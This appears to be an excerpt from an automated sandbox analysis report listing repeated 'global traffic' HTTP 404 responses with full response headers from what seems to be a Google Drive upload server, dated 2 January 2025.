Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7DTrgUj-SUL1WLFTQNp3WIdc1-af3V1miTmlaH9lkVp9VuRkeu4YRsEJ5N8bs_cvwI0sXQQooContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:05 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-JzoAc3I9O8u3VpNrDtQjYA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4u3qQ3HfS40Bb9hR1unAuAxdVkripQx6l-j5a16bqwiuzKztcC6uruaXTz0nCr3LkXContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:05 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-6ksq4j7bcLz06X8RYt1J6w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7GVtHhSxq5SMMMO-1cJ72ZKbCrCK1u1eDY5qY9pzk4q5Noi0wL_8VjY6-uzRUBo8B9Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:08 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-Boaj8ctGenao6Vnr65Ygqw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4ooxedmOwarrBlY25meNQxUNV14JlLQws75zMRiJ-XR1q1a1ALJVIv4iY_W1nD9Eo_Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:08 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-jc1K7EDbyF-CMTl1UuO1AQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5XfE6c6FWbYbcaYsE8CII7WTQSZH2UxQzlvQ_tXptvVMj6gezsk38K5D1lgTYuwnr5Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:09 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-pW_mcY9mSJ_58K7k28Cvnw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4l_FiJWpXy3qHDpBtZAln25MYIPR2cz1tydI6O220s7gBclzHO2lSwgoFyOkgci7w1Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:09 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-lPIFVudLxMtgRIY_5GGbvw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6qePi-oNze6j1Xb_QyJsI6KpyE0Fak2MtcHZluM_W9eh5BYANf72cPDvNbaeufpV1CwZtHQ10Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:11 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-E3_V1hM7IuPwFCGai82noA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7DS_pHNYbhiBmxstMpCPpvzFoM6kpqEQGkBG5O_lHLh99iab6ZzyBxpR2Quj7UNVZryCjR_ekContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:12 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-YU-niXs69C82prCCCLdRLA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4vwLKGqCv7KQyhZJuzo6XrrumCEFoJ3lv6IHe-K1YjJwEgSdvwM5JoYHt6lmKS1Ja6lXpSXIYContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:12 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-bmoHyBlJIsDv8-RX3CMxNQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5-aRwqRjZQYgC0cilP-45WGa1E-BQ1MIyMi7Swbm4x97l_PFxy9v-haiGYCp6fjVKVbw7UAeQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:16 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-o6J4vcjE0xr1j0J33dIhDw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4OYYUwQEUEwxsMVIap11AW8jo9_eH5SVpNXezkBVUVFASN8D43YAU5gqh2ALRWYpseContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:16 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-1FYnJ68lbdA4fyaXAmeNHA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC45TP5API_KuVzuaa0nQtY-2iGr67v5evb1lZlPojpY9CGpaDSlE02H_G9fqAN00SEsqFVoqTcContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:17 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-C1uTYRIi_wRlxx44QYyFaw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5UPOLAyyGVHB_Jg9r5T44xPn4_tiNj49FQzMruobX7Rk04jt-tLVzUTrbJILujoIDuContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:17 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-ASsSPAv3a7LYEnm171xGcQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6rRixsXqRdKtI6V-8xHAHDegiAFV_lbMT_CoPS2__CifoQHiNyq-JCg8wBS2DvdzgGpvUoCw0Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:20 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-MoA5Z0TPY8kSdC5PKgDZcw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5yHLV0dRQ955kHixB6pM-zja66B9bHv6XqMiW_LTjrpqQ0EG-m1y7H3Otu8xCUe--eSP5yqFoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:20 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-yP9Iw9b0d1tXycBgwAl0Gw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6UESL7_ngE9-XEMPc9saozz4sYjxyg8luQAkMgKlJc6rwMhaGFJqcsjp-Mvkbm9gkpWFIHOt8Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:21 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-yJP3YN7kj7PHVPpeWQc6fw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7_YBKVFDcScWGLRFpUcPWcR5Evw8_MYK8Pzgmqpsy1Drxb40yvOYcx0WizVSrM8-1oContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:21 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce--3PEpwT8x_P87-faJTPaew' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5qKbUWqEjAv_2QWoAgqyLPY5AEqBBiMu4H7NXcKArSxlunctDSp-D289QVkQVKR-wpContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:23 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-6iAdYXwOHgzDW6ZUyMZVWQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4EKrRzDC6V7XZ2kaAd8tKUDWdQ9C_H3aMNN5KyhSYg3iypqV1Bxsus55zEe2mDX-f3Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:24 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-0bNmzfulS7w6-WAGh6lgDQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4O8GMataXfOiOZy6yD4fnVvrv013mD7qWpJP_Skj3VpArmB1sks3gMRhEcNEpzqyIIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:24 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-3RlGUm-_RgE7R4gc7J5u5g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
